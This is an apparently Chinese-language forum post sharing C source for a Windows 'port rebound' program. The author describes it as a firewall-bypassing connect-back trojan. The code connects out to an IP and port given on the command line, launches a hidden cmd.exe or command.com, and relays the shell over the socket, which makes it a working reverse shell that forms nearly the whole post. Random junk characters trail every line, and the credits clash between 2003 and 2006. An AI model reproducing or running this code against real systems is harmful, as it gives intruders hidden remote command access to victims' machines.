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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 y#Ao6Od6  
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/* ============================== 8`*Wl;9u  
Rebound port in Windows NT G.,dP +i  
By wind,2006/7 :.IVf Zw  
===============================*/ VMUK|pC4 K  
#include %_!YonRY|X  
#include SAt{At  
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#pragma comment(lib,"wsock32.lib") ?j{LE- (  
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void OutputShell(); &JM|u ww?1  
SOCKET sClient; LuB-9[^<  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /,z4tf  
R*D0A@  
void main(int argc,char **argv) &oTUj'$  
{ g jJ?*N[  
WSADATA stWsaData; <3iL5}  
int nRet; #$QC2;/)F  
SOCKADDR_IN stSaiClient,stSaiServer; >v9 ("  
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if(argc != 3) bBBW7',[a  
{ #]'#\d#i  
printf("Useage:\n\rRebound DestIP DestPort\n"); 3PLv;@!#j}  
return; (8u.Xbdh  
} 3eqnc),Z  
)Ab!R:4  
WSAStartup(MAKEWORD(2,2),&stWsaData); F{a--  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pzP~,cdf  
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stSaiClient.sin_family = AF_INET; gf^"s fNk  
stSaiClient.sin_port = htons(0); @54D<Lj  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); MMglo3  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) & Me%ZM0  
{ 'Jww}^h1  
printf("Bind Socket Failed!\n"); e.%` tK3J  
return; K%ltB&  
} o[W7'1O  
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stSaiServer.sin_family = AF_INET; ]?p&sI4  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); G%w hOIFRq  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4~8++b1/;  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) G/Nb@pAy[  
{ pmR6(/B#  
printf("Connect Error!"); rYbb&z!u  
return; -(4)lw>U  
} 445}Yw5;9  
OutputShell(); Cvr?%+)$M  
} q$Z.5EN  
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void OutputShell() 8r7~ >p~  
{ K'EGm #I  
char szBuff[1024]; )2KQZMtgm]  
SECURITY_ATTRIBUTES stSecurityAttributes; | -l)$i@  
OSVERSIONINFO stOsversionInfo; %Ji@\|Zkf  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; z{w!yMp"  
STARTUPINFO stStartupInfo; /l-lkG5  
char *szShell; vq|o}6Et  
PROCESS_INFORMATION stProcessInformation; T> cvV  
unsigned long lBytesRead; ^fT|Wm<  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !%<bLD8  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); TQyi -Dc  
stSecurityAttributes.lpSecurityDescriptor = 0; (5y+g?9d;  
stSecurityAttributes.bInheritHandle = TRUE; <\< [J0  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 4hb<EH'_&  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); X(nbfh?n  
I;]Q}SUsm  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); S3rN]!B+  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <RfPd+</  
stStartupInfo.wShowWindow = SW_HIDE; }=CL/JHz  
stStartupInfo.hStdInput = hReadPipe; ?z>7&  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; E?1"&D m  
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GetVersionEx(&stOsversionInfo); ;*K@8GnU  
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switch(stOsversionInfo.dwPlatformId) j3`# v3  
{ Gj^JpG  
case 1: ],l w  
szShell = "command.com"; ]]~tFdh  
break; 9Ml^\|  
default: m%Ah]x;  
szShell = "cmd.exe"; AsyJDt'i  
break; B -XM(C j  
} Ff xf!zS  
X_yAx)Do  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Gzxq] Mg  
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send(sClient,szMsg,77,0); ?;Ck]l#5ys  
while(1) Gq_rZo(@  
{ $xRZU9+  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 56k89o  
if(lBytesRead) VPG+]> *  
{ v0762w  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^.5`jdk  
send(sClient,szBuff,lBytesRead,0); 8zv=@`4@G  
} }}Gz3>?24=  
else ^V]DQ%v"I  
{ #w\Bc\  
lBytesRead=recv(sClient,szBuff,1024,0); d4OWnPHv&}  
if(lBytesRead<=0) break; ck-ab0n  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @Sb 86Ee  
} *k)v#;B  
} i7g+8 zd8d  
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return; oxkA+}^j8M  
}
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